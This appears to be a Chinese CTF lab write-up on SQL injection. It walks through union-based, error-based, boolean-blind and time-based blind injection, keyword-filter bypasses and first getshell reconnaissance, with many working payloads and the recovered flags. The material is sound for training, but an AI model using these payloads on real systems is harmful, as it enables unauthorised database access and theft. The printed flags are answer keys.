御林 10
SQL-1
判断注入点 —— 第一步
找页面与数据库产生交互的地方。
我们找到界面中的 url :
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1
1
这一长串url中 ’ ? ’ 后跟的就是参数id=1,’ ? ’ 表示传参。一般来讲 ’ ? '的内容都是用户可控的。若不存在能够与数据库产生交互的地方,那么sql注入也就自然无处下手了。
这里id=后面的内容就可以进行参数修改啦。
传入SQL语句可控参数分为两类
数字类型,参数不用被引号引用 ?id=1
其他类型,参数需要被引号引用 ?name="phone"
我们尝试一下修改参数
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=2
1
可以看到界面的查询结果改变了
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2
1
界面报错
证实此处的传参的确将用户输入当做代码执行了,即存在sql注入漏洞。
判断字段数 —— 第二步
使用order by子句,利用网页报错判断字段数,为下一步铺垫
order by 函数具体用法放在这啦,就不详细展开讲了。
ORDER BY 语句用于根据指定的列对结果集进行排序。
我们从order by 1 开始尝试
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 1
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 2
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 3
以上操作界面均显示正常
但是当改为 order by 4 时,界面报错
由此我们可以得出:说明此处存在三个字段
判断回显点 —— 第三步
接下来我们要使用union select语句,联合查询,通过页面回显找到回显点,再利用其获取我们需要查询的数据。
前置知识:
select 语句用于从表中选取数据。
union 操作符用于合并两个或多个 SELECT 语句的结果集。
注意:
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
什么意思呢? 就是联合查询前后的两个表,第一个表的字段数与第二个表的字段数必须相等,否则就会报错。像这样:
那如果一个表的字段数与第二个表的字段数不相等怎么办呢?我们可以进行如下操作手动补全:
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,3
这样就显示正常了
但我们会发现,这个界面与初始界面一模一样。
因为这里优先显示的是联合查询的第一个结果,而第二个结果未被显示。
所以我们只需要在这里使联合查询的第一个结果不显示(使前半段语句为假,则不返回任何内容):
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,3
1
我们发现”Your Login Name“后显示的是第二个字段的内容
“Password” 后显示的是第三个字段的内容
保险起见我们验证一下:
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,222,333
1
证实了我们的猜想。
由此可以得到,回显点就在”Your Login Name“和"Password" 后的位置
查询相关内容 —— 第四步
接下来我们利用显错位获取相关内容,这里我们再分几步进行
mysql中的information_schema说明
information_schema : mysql数据库5.0以上版本,自带数据库,记录了mysql下所有的库名,表名,列名等信息。
主要用到以下几个:
schemata表 (mysql服务器中所有数据库信息的表)
tables表 (mysql服务器中所有表信息的表)
columns表(mysql服务器所有列信息的表)
table_schema 数据库名
table_name 表名
column_name 列名
判断库名
MySQL中的 database()函数 返回默认或当前数据库的名称。
在刚刚的回显点加入database函数,以此得到库名
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,database(),database()
获得数据库库名:error
判断表名
为了查询表名,我们将union后的语句改成:
union select 1,table_name,3 from information_schema.tables where table_schema='error'
下面对这段语句进行详细解释:
回顾一下 select语句 用于从表中选取数据:
SELECT_(列名1,2,3,…)_ FROM _(表名)
已知回显点在列名2和列名3,我们将需要查询返回的数据放在回显点处。
table_name列在information_schema库的tables表下。
注意这里不能直接写表名tables, 否则它会在error库下找tables表,找不到就会报错。
因此需要使用【库名.表名】的格式:information_schema.tables
where子句 用于规定选择的标准。
WHERE_(限定条件)
我们需要查询的是error库的表名,因此在查询中限定table_schema='error'.
也就是返回本张表中所有table_schema这一字段的值为error的数据所对应的table_name值。
好了,现在我们实践一下:
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'
为了显示union select后的内容,我们同样在前面加上and 1=2
得到一个表名:error_flag
判断列名
同理,列column_name在表information_schema.column下
union后修改为
union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag'
得到一个列名:ld
但是如何查询其他列名?这里我们需要用到limit子句。
limit子句 用于强制 SELECT 语句返回指定的记录数。
LIMIT_(参数1),(参数2)
第一个参数指定第一个返回记录行的偏移量(注意这里从0计数),第二个参数指定返回记录行的最大数目。
即 第(参数1)+1个数据 到 第(参数1+参数2)+1个数据
实践一下,查询第二个列名 limit 1,1
union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 1,1
1
得到第二个列名:flag
当然也可以利用group_concat()函数 一起输出所有列名 (不推荐,有可能回显点有字符输出限制导致输出不完整)
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='error' and table_name='error_flag'
查询具体信息
靶场小任务
我们现在已经找到了flag字段所在的列名error_flag
接下来直接使用SELECT语句就可以直接查询flag的内容
union select 1,flag,3 from error_flag
得到flag字段的具体信息:
总结
SQL手注四部曲:
判断注入点
id=1 and 1=2
判断字段数
id=1 order by 1
判断回显点
id=1 and 1=2 union select 1,2,3
查询相关内容
id=1 and 1=2 union select 1,database(),3
id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error’
id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘error’ and table_name='error_flag’
union select 1,flag,3 from error_flag
End 完结撒花~
————————————————
版权声明:本文为CSDN博主「Genevieve_xiao」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Genevieve_xiao/article/details/119487157
SQL-2报错注入
查找成功是没有回显的利用报错信息显示查找
id=1 order by 4
- 同样是三个字段
- https://www.freebuf.com/articles/web/304983.html
- 构造链接/?id=1 and updatexml(1,(concat(1,database())),3)爆库
- /?id=1 and updatexml(1,(concat(1,database())),2)
- /?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27security%27))),3)爆表
- /?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27sqli%27))),2)这是原文大家自己对比
- 爆列名
- /?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20%27flag%27))),3)
- /?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20%27flag%27))),2)原文
- 爆
金币flag - ?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(flag)%20from%20flag))),3)
- ?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(flag)%20from%20flag))),2)原文
- 我测,坏了长度显示不够
- 没关系至少有一半之前好像在哪里见过输出指定第几个字符开始的
- YulinSec{r3tw3JIw5UT5FBPe2L99...
- 原文链接:sql注入之报错注入-CSDN博客
- Sql注入截取字符串常用函数 - lcamry - 博客园 (cnblogs.com)
- ?id=1%20and%20MID(updatexml(1,(concat(1,(select%20group_concat(flag)%20from%20flag))),3),20,)
- ?id=1%20and%20updatexml(1,(concat(1,(MID(select%20group_concat(flag)%20from%20flag)))),3),20,)
- ?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(flag)%20from%20flag))),3)
- ?id=1%20and%20extractvalue(1,(concat(1,(select%20group_concat(flag)%20from%20flag))))
- ?id=1%20and%20MID(extractvalue(1,(concat(1,(select%20group_concat(flag)%20from%20flag)))),20,)
- 前面的是错误尝试
- ?id=1%20and%20extractvalue(1,(concat(1,substring((select%20group_concat(flag)%20from%20flag),20,20))))
- YulinSec{r3tw3JIw5UT5FBPe2L99
- 第二段
- T5FBPe2L99iIIRIAQAWf
- iIIRIAQAWfZu7cTOri16
- Zu7cTOri16}
- YulinSec{r3tw3JIw5UT5FBPe2L99iIIRIAQAWfZu7cTOri16}
SQL-3 布尔盲注
- 首先用前面的方法判断字段数为3
- ?id=1%20and%20(length(database()))=8数据库名字为8位,猜测为security(bushi
- ?id=1%20and%20ascii(substr(database(),1,1))>113数据库第一个字母
- /?id=1%20and%20ascii(substr(database(),1,1))=115还真是s(小写)
- 看看第二位
- /?id=1%20and%20ascii(substr(database(),2,1))=101
- 以此类推果然是security(
- 那表和列难道也是..flag
- ?id=1%20and%20(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100
- /?id=1%20and%20(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1)))=102
- 102是f,返回ok
- 保险起见都试了一遍表名还是flag...
- 大胆猜测列名也是flag
- 测试一下字段是不是YulinSec{....}
- /?id=1%20and%20(ascii(substr((select flag from flag%20limit%200,1),1,1)))=89
- 稳了,待会写个python脚本爆破一下flag,好像都不用,可以使用burp site的intruder
- 第二个字符
- flag都是字母组成的
- 直接跑字典一个一个字母跑出来都行,但是我懒(bushi
- 还是写个脚本快点
- 这是我写的flag爆破脚本
- SQL-3.py
- YulinSec{bZQOvVPcUrSbHaQDiiDqJOgiIlcPlFwvk} 跑了50个字符但是只有43个,说明少了
- 修改脚本ASCII字典从48开始把数字补上
- 跑出来了flag
- P.S.写脚本真不容易(好吧是我太菜了
SQL-4
和布尔盲注一个类型只是判断条件换成了是否延迟返回
- ?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=e,sleep(1),0)
- /?id=1%20and%20if(length(database())=8,sleep(2),0)%20,延迟一会显示,好好好数据库长度又为8
- /?id=1%20and%20if(ascii(substr(database(),1,1))>113,sleep(2),0)%20
- /?id=1%20and%20if(ascii(substr(database(),1,1))=115,sleep(2),0)%20 数据库开头字母为s
- 直接试字段得了
- /?id=1%20and%20if(ascii(substr((select flag from flag%20limit%200,1),1,1)))=89,sleep(2),0)%20
- 语法不对
- /?id=1%20and%20if((ascii(substr((select flag from flag%20limit%200,1),1,1)))=89,sleep(2),0)%20
- if那里少了括号,好,表和列名都为flag且字段第一个字母为Y
- 上脚本
- python接口自动化20-requests获取响应时间(elapsed)与超时(timeout) - 上海-悠悠 - 博客园 (cnblogs.com)
- 这里有两种办法分别是捕获超时异常和直接读取响应时间,两种都差不多我写了读取响应时间,因为捕获超时也要等待响应1s
- 这是我写的flag爆破脚本
- SQL-4.py
- 好,很简单,得到flag
- Yul^inSec{0hkfjtXaE8VJpxXqFG9BjZSy0Ygn6dV:LLMwbQ[3O;iaI20}
- 。。。?
- 响应时间的问题
- 稳妥点的办法是时间sleep=3
- 然后大于2的肯定是,但是这样会很慢,无所谓等着吧
- 等了个10分钟差不多
- 得到flag
SQL-5
- /?id=1 order by 1
- 空格过滤
- %a0可以用
- /**/也可以
- /?id=1%20order%20by%201
- /?id=1%a0oder%a0by%a01 可以
- /?id=1/**/oder/**/by/**/01可以
- Order被过滤
- /?id=1/**/o/**/rder/**/by/**/4 可以
- /?id=1/**/Order/**/by/**/5 可以,但是没什么用只显示id=1
- /?id=1%a0Order%a0by%a05 order自动改小写,大小写不能绕过
- /?id=1/**/||/**/1=1 可以
- SQL注入绕过技巧 - VVVinson - 博客园 (cnblogs.com)
- CTFHUB-SQL注入_ctfhub sql注入-CSDN博客
- 不会,写的好像没有回显
SQL-6
- sql注入getshell的几种方式_~Echo的博客-CSDN博客
- 要是按照第一题的方式做呢
- 判断有三个字段
- /?id=1 order by 4
- /?id=1%20and%201=2页面没报错但是也没有正常显示id=1内容
- /?id=1%20and%201=2%20union%20select%201,2,3
- /?id=1%20and%201=2%20union%20select%201,database(),3
- 库为security
- /?id=1%20and%201=2%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=%27security%27
- 表名flag
id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='flag'
- union select 1,flag,3 from flag
- 果然没出来但是获得了当前所在的路径
- /?id=1%20and%201=2%20union%20select%201,flag,@@datadir%20from%20flag
- /?id=1%20and%201=2%20union%20select%201,flag,@@secure_file_priv%20from%20flag
- /?id=1%20and%201=2%20union%20select%201,flag,@@plugin_dir%20from%20flag
- 查看插件目录